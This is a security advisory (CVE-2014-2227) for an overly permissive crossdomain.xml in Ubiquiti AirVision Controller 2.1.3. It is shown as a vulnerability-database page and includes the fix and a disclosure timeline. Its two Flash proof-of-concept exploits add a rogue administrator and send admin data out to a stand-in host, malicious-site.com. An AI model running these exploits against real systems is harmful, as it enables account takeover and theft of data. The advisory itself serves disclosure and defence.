Lucene search
K

Ubiquiti AirVision Controller 2.1.3 Weak Settings

🗓️ 25 Jul 2014 00:00:00Reported by Seth ArtType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Ubiquiti AirVision Controller 2.1.3 Weak Crossdomain.xm

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-2227
23 Jul 201400:00
circl
CVE
CVE-2014-2227
25 Jul 201419:00
cve
Cvelist
CVE-2014-2227
25 Jul 201419:00
cvelist
EUVD
EUVD-2014-2267
7 Oct 202500:30
euvd
NVD
CVE-2014-2227
25 Jul 201419:55
nvd
Prion
Cross site scripting
25 Jul 201419:55
prion
`-----------  
Vendor:  
-----------  
Ubiquiti Networks (http://www.ubnt.com/)  
  
----------------------------------------------  
Affected Products/Versions:  
----------------------------------------------  
AirVision Controller v2.1.3  
Note: Previous versions may be affected  
  
-----------------  
Description:  
-----------------  
Title: Overly Permissive default crossdomain.xml file  
CVE: CVE-2014-2227  
CWE: http://cwe.mitre.org/data/definitions/264.html  
Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2227.html  
Researcher: Seth Art - @sethsec  
  
------------------------------------------------------------------------------------------------------  
POC #1: Using crossdomain.xml to execute CSRF and add an administrator:  
------------------------------------------------------------------------------------------------------  
  
// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)  
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)  
// POC Template Author's github:  
(https://github.com/gursev/flash-xdomain-xploit)  
package {  
import flash.display.Sprite;  
import flash.events.*;  
import flash.net.URLRequestMethod;  
import flash.net.URLRequest;  
import flash.net.URLLoader;  
import flash.net.URLRequestHeader;  
  
public class XDomainXploit3 extends Sprite {  
public function XDomainXploit3() {  
// Target URL from where the data is to be retrieved  
var readFrom:String = "https//victim:7443/api/2.0/admin";  
var header:URLRequestHeader = new URLRequestHeader("Content-Type",  
"text/plain; charset=UTF-8");  
var readRequest:URLRequest = new URLRequest(readFrom);  
readRequest.method = URLRequestMethod.POST  
readRequest.data =  
"{\"name\":\"csrf-cdp\",\"email\":\"[email protected]\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";  
readRequest.requestHeaders.push(header);  
var getLoader:URLLoader = new URLLoader();  
getLoader.addEventListener(Event.COMPLETE, eventHandler);  
try {  
getLoader.load(readRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
  
  
private function eventHandler(event:Event):void {  
// URL to which retrieved data is to be sent  
var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php"  
var sendRequest:URLRequest = new URLRequest(sendTo);  
sendRequest.method = URLRequestMethod.POST;  
sendRequest.data = event.target.data;  
var sendLoader:URLLoader = new URLLoader();  
try {  
sendLoader.load(sendRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
}  
}  
  
-----------------------------------------------------------------------  
POC #2: Using crossdomain.xml to exfiltrate log data:  
-----------------------------------------------------------------------  
  
// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)  
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)  
// POC Template Author's github:  
(https://github.com/gursev/flash-xdomain-xploit)  
package {  
import flash.display.Sprite;  
import flash.events.*;  
import flash.net.URLRequestMethod;  
import flash.net.URLRequest;  
import flash.net.URLLoader;  
  
  
public class XDomainXploit extends Sprite {  
public function XDomainXploit() {  
// Target URL from where the data is to be retrieved  
var readFrom:String = "/victim:7443/api/2.0/admin";  
var readRequest:URLRequest = new URLRequest(readFrom);  
var getLoader:URLLoader = new URLLoader();  
getLoader.addEventListener(Event.COMPLETE, eventHandler);  
try {  
getLoader.load(readRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
  
  
private function eventHandler(event:Event):void {  
// URL to which retrieved data is to be sent  
var sendTo:String = "http://www.malicious-site.com/admin"  
var sendRequest:URLRequest = new URLRequest(sendTo);  
sendRequest.method = URLRequestMethod.POST;  
sendRequest.data = event.target.data;  
var sendLoader:URLLoader = new URLLoader();  
try {  
sendLoader.load(sendRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
}  
}  
  
-------------  
Solution:  
-------------  
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note:  
The application name changed from AirVision to UniFi Video)  
  
-----------------------------  
Disclosure Timeline:  
-----------------------------  
  
2014-02-25: Notified Ubiquiti of crossdomain vulnerability in AirVision product  
2014-02-19: Ubiquti confirms receipt of AirVision report and existence  
of the vulnerability  
2014-02-28: CVE-2014-2227 assigned  
2014-03-12: Requested status update  
2014-03-27: Requested status update  
2014-04-07: Requested status update  
2014-04-09: Ubiquiti provides timeline for solution  
2014-04-18: UniFi Video 3.0.1 is released  
2014-06-13: Set public disclosure date of 2014-07-24  
2014-07-24: Public disclosure  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation